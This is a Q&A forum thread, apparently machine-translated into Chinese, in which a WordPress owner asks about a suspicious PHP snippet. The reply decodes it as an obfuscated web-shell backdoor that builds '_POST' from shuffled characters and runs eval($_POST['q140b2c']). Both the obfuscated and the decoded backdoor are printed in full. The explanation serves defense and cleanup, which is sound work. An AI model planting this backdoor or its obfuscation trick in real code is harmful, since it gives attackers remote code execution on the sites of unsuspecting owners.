这段代码是做什么的?

What does this code?

我有一个 wordpress 网站,我认为它感染了恶意软件。我在我的文件

中找到了这段 php 代码
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q140b2c'])){eval(${$s20}['q140b2c']);}

它有什么作用?

我以前的一个网站被黑也遇到过同样的问题。与上面相同的代码。他们将在 PHP 标记开始之前将此代码放入 .php 文件中。

因此它将保留 PHP 站点的执行。

要解决下载所有代码并在文件中搜索并删除。那么您的网站就可以正常运行了。

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);

$s20 计算为 _POST

if(isset(${$s20}['q140b2c'])){
    eval(${$s20}['q140b2c']);
}

变成

isset($_POST['q140b2c'])

eval 然后评估 post

中的任何内容
eval($_POST['q140b2c']);